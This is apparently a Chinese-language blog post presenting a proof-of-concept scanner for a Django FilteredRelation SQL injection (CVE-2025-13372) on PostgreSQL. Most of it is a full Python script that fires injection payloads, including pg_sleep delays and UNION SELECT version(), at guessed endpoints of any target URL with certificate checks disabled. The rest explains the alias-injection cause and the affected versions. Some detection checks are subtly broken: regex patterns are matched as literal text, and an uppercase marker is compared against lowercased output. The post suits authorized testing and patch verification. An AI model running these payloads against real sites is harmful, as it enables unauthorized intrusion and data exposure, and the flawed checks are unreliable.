Django SQL注入漏洞CVE-2025-13372:FilteredRelation安全风险检测工具

37 阅读5分钟

Django FilteredRelation SQL注入漏洞检测工具

项目概述

本项目提供了一个针对CVE-2025-13372漏洞的概念验证(PoC)检测工具。该漏洞影响Django框架在使用PostgreSQL数据库后端时,结合FilteredRelation功能处理动态字典参数时可能引发的SQL注入风险。本工具旨在帮助安全研究人员和开发人员检测其Django应用是否受到此漏洞影响。

注意:仅限在您拥有所有权或已获得明确授权的前提下使用本工具。

功能特性

  • 多类型Payload检测:支持错误型、时间延迟型等多种SQL注入检测技术
  • 智能路径探测:自动尝试常见端点路径(如/search/, /api/filter/, /admin/lookup/等)
  • 响应分析:自动识别PostgreSQL错误响应特征
  • 时间延迟检测:通过pg_sleep函数检测时间型SQL注入漏洞
  • 错误抑制:禁用SSL警告,提供更清晰的输出信息

安装指南

系统要求

  • Python 3.6+
  • requests库
  • 目标系统使用Django框架(版本≤5.2.8、≤5.1.14或≤4.2.26)
  • PostgreSQL数据库后端

安装步骤

# 克隆项目
git clone <repository-url>

# 安装依赖
pip install requests

# 运行工具
python CVE-2025-13372-poc.py <target-url>

依赖项

  • requests:用于发送HTTP请求
  • urllib3:用于URL编码处理

使用说明

基本用法

python CVE-2025-13372-poc.py http://target-domain.com

参数说明

  • 第一个参数:目标URL(自动移除末尾斜杠)

检测过程

工具将按以下步骤进行检测:

  1. 对每个预定义的SQL注入Payload进行URL编码
  2. 尝试访问多个常见端点路径
  3. 分析响应内容中的PostgreSQL错误特征
  4. 对于时间延迟型Payload,检测响应时间是否超过阈值
  5. 报告发现的漏洞迹象

典型使用场景

  • 安全审计:检测Django应用的安全性
  • 漏洞验证:验证CVE-2025-13372漏洞的修复情况
  • 渗透测试:在授权范围内测试目标系统的安全性

手动检测建议

如果自动检测未发现漏洞,可尝试:

  • 使用Burp Suite或ZAP等工具查找包含aliascolumnfieldsort等参数的端点
  • 手动测试上述参数是否接受用户输入

核心代码

主检测逻辑

# CVE-2025-13372-poc.py
# Github: https://github.com/Ashwesker/Blackash-CVE-2025-13372
# Django FilteredRelation + PostgreSQL SQL Injection PoC
# Vulnerable: Django <= 5.2.8 / <= 5.1.14 / <= 4.2.26
# Fixed in: 5.2.9, 5.1.15, 4.2.27
# Use only on targets you own or have explicit permission for!

import requests
import urllib.parse
import sys
from requests.packages.urllib3 import disable_warnings
disable_warnings()

if len(sys.argv) != 2:
    print("Usage: python3 CVE-2025-13372-poc.py http://target.com")
    sys.exit(1)

target = sys.argv[1].rstrip("/")

# Common payloads that trigger PostgreSQL errors or delays
payloads = [
    "') OR 1=1-- ",
    "'); SELECT pg_sleep(7)--",           # Time-based (7 sec delay = vuln)
    "'); SELECT version()--",             # Leaks PostgreSQL version
    "' UNION SELECT NULL,version(),NULL--",
    "1' AND (SELECT 1 FROM PG_SLEEP(7))--"
]

print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")
print(f"[+] Target: {target}\n")

for payload in payloads:
    enc = urllib.parse.quote(payload)
    
    # Common endpoints/parameters that may use FilteredRelation + alias()/annotate()
    paths = [
        f"/search/?alias={enc}",
        f"/api/filter/?col={enc}",
        f"/filter/?field={enc}",
        f"/reports/?column={enc}",
        f"/advanced/?sort={enc}",
        f"/admin/lookup/?q={enc}",
        f"/?order={enc}"
    ]
    
    for path in paths:
        url = target + path
        try:
            print(f"[*] Testing: {url[:80]}{'...' if len(url)>80 else ''}", end="")
            r = requests.get(url, timeout=15, verify=False, allow_redirects=True)
            
            # PostgreSQL error indicators
            indicators = [
                "syntax error at or near",
                "column .* does not exist",
                "unterminated quoted string",
                "SQLSTATE",
                "relation .* does not exist",
                "django.db.utils.ProgrammingError"
            ]
            
            body = r.text.lower()
            if any(ind in body for ind in indicators):
                print(" → VULNERABLE! (PostgreSQL error)")
                print(f"    Payload : {payload}")
                print(f"    URL     : {url}\n")
                sys.exit(0)
            
            # Time-based detection
            if "pg_sleep" in payload.lower() and r.elapsed.total_seconds() >= 6:
                print(" → VULNERABLE! (Time delay detected)")
                print(f"    Delay   : {r.elapsed.total_seconds():.2f} seconds")
                print(f"    Payload : {payload}")
                sys.exit(0)
            
            print(" → no indicator")
            
        except requests.exceptions.Timeout:
            if "pg_sleep" in payload.lower():
                print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")
                sys.exit(0)
        except:
            print(" → request failed")

print("\n[-] Not vulnerable or correct endpoint not found.")
print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")
print("[i] Then test manually with the payloads above.")

漏洞技术分析

# 技术分析说明
# CVE-2025-13372技术细节:
# 
# 漏洞触发条件:
# 1. 使用PostgreSQL作为数据库后端
# 2. 使用FilteredRelation进行条件连接
# 3. 接受动态字典(**kwargs)构建查询注解或别名
# 4. 允许用户控制的数据影响SQL生成中使用的别名名称
# 
# 安全机制失效原因:
# Django ORM通常通过以下方式防止SQL注入:
# - 转义危险字符
# - 参数化输入
# - 除非明确允许,否则禁止原始SQL
# 
# 但传递给以下函数的别名不会被参数化:
# queryset.annotate(**dynamic_values)
# queryset.alias(**dynamic_names)
# 
# 因为别名是SQL语法的一部分,而不是SQL值。
# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。
# 
# 当与FilteredRelation结合使用时,这种情况特别危险,因为它生成更复杂的表达式和连接,
# 增加了SQL片段拼接的位置数量。
# 
# 结果:恶意别名可以脱离其预期的SQL位置并运行任意SQL代码。

受影响版本检测逻辑

# 受影响版本检测
# Django版本受影响情况:
# 
# 受影响的Django版本:
# - Django 5.2.x系列:<= 5.2.8
# - Django 5.1.x系列:<= 5.1.14  
# - Django 4.2.x系列:<= 4.2.26
# 
# 已修复版本:
# - 5.2.9
# - 5.1.15
# - 4.2.27
# 
# 检测逻辑说明:
# 本工具通过发送特定Payload并分析响应来间接检测漏洞存在。
# 如果检测到PostgreSQL错误特征或时间延迟,则表明目标可能受到漏洞影响。
# 这种方法不依赖版本号检测,而是直接测试漏洞可利用性。

安全响应特征识别

# PostgreSQL错误特征识别
# 以下是工具检测的PostgreSQL错误指示器:
indicators = [
    "syntax error at or near",           # SQL语法错误
    "column .* does not exist",          # 列不存在错误
    "unterminated quoted string",        # 未终止的引号字符串
    "SQLSTATE",                          # SQL状态错误
    "relation .* does not exist",        # 关系不存在错误
    "django.db.utils.ProgrammingError"   # Django编程错误
]

# 时间延迟检测逻辑:
# 当Payload包含"pg_sleep"时,如果响应时间超过6秒,则认为检测到时间型SQL注入。
# 这种检测方法适用于目标系统不返回详细错误信息但存在漏洞的情况。

路径探测机制

# 常见端点路径探测
# 工具尝试以下常见端点路径,这些路径可能使用FilteredRelation + alias()/annotate():
paths = [
    "/search/?alias={enc}",           # 搜索功能,可能使用别名参数
    "/api/filter/?col={enc}",         # API过滤功能
    "/filter/?field={enc}",           # 过滤功能
    "/reports/?column={enc}",         # 报告功能
    "/advanced/?sort={enc}",          # 高级排序功能
    "/admin/lookup/?q={enc}",         # 管理界面查找功能
    "/?order={enc}"                   # 通用排序参数
]

# 这些路径和参数名基于常见的Django使用模式,
# 可能触发FilteredRelation相关的SQL查询构建。

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPuDqcay4ZWmta7DFtWE6OQ